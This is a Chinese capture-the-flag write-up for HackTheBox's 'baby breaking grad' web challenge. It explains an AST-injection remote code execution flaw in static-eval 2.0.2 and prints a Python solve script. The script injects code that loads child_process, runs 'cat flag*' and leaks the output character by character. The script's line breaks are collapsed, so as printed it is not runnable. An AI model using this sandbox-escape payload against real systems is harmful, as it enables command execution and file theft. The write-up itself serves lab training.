概述

HackTheBox 网站CTF靶场Web相关题目baby breaking grad，题目地址https://app.hackthebox.com/challenges/baby-breaking-grad，主要考察AST注入的知识点。

题目

题目概述

开启程序实例后，提示访问209.97.187.217:32476，访问http://209.97.187.217:32476，看到如下Web界面

直接选择一个提交得到

下载附件解压缩得到

源代码

在routes目录下的index.js中，包括对不同url的处理方法

其中涉及到StudentHelper.js，对应的源代码

StudentHelper.js用到了static-eval和esprima，在package.json中查看他们的版本

解题思路

可以看到static-eval为2.0.2，存在RCE漏洞，具体可参考https://github.com/advisories/GHSA-8v27-2fg9-7h62

解题代码

import string
import requestsurl = 'http://209.97.187.217:32476/api/calculate'
flag = ''for i, _ in enumerate(iter(bool, True)):for chr in string.printable:payload = "(function (x) { return `${eval(\"if(global.process.mainModule.constructor._load('child_process').execSync('cat flag*').toString().charCodeAt(" + str(i) + ") == " + str(ord(chr)) + ") {25} else {1}\")}` })()"data = {"name": "AAA", "formula": payload}r = requests.post(url, json=data)if('Passed' in r.content):flag += chrprint(flag)if(chr == '}'):quit()break

运行代码，得到flag

HackTheBox-baby breaking grad相关推荐

采用RNN为小Baby起个英文名字by SixInNight
采用RNN为小Baby起个英文名字实验描述准备工作安装PyTorch 观察数据集创建字典转换格式张量构造神经网络训练神经网络预测和计算损失打印训练进度和损失.准备绘图作图反应神经网络 ...
BREAKING，个人感觉比较难
BREAKING分STYLE和POWER,我相信大家都问过一个问题:哪个更重要?对这个问题,众说纷云.最后只能说两个同样重要. 先说说STYLE,STYLE粗分为三部份:TOPROCK,FOOTWO ...
MXNet中x.grad源码追溯
Python测试代码如https://zh.gluon.ai/chapter_prerequisite/autograd.html 本文追溯x.grad这一行代码的调用 grad调用的是函数MXNDA ...
SpriteBuilder实际操作中如何确定合适Breaking force的值
确定Breaking force合适的值同样很单调,但是按照下面的方法也并不是完全不可能: 输入一个随意的值,比如说100 检查实际场景中关节是否能承受住物理物体,在完美的情况下物理物体将保持静止. ...
a leaf Variable that requires grad has been used in an in-place operation
a leaf Variable that requires grad has been used in an in-place operation 这个是因为写成了x+=2, 改为y = x + 2 ...
element 0 of tensors does not require grad and does not have a grad_fn
element 0 of tensors does not require grad and does not have a grad_fn 这个是因为requires_grad=False,应该为t ...
[watevrCTF 2019]Baby RLWE
[watevrCTF 2019]Baby RLWE 题目 Mateusz carried a huge jar of small papers with public keys written on ...
[NPUCTF2020]Baby Obfuscation [HDCTF2019]MFC
文章目录 [NPUCTF2020]Baby Obfuscation 把五个Fox分析一下 F0X1(int a, int b): 运用辗转相除法求得最大公因数(学到一个词汇:最大公约数GCD,最小公倍 ...
pytorch 1.9.0 backward函数解释以及报错（RuntimeError: grad can be implicitly created only for scalar outputs）
文章目录官方文档简单示例示例1 示例2(报错(RuntimeError: grad can be implicitly created only for scalar outputs)解决方法) ...

HackTheBox-baby breaking grad

文章目录

概述

题目

题目概述

源代码

解题思路

解题代码

HackTheBox-baby breaking grad相关推荐

最新文章

热门文章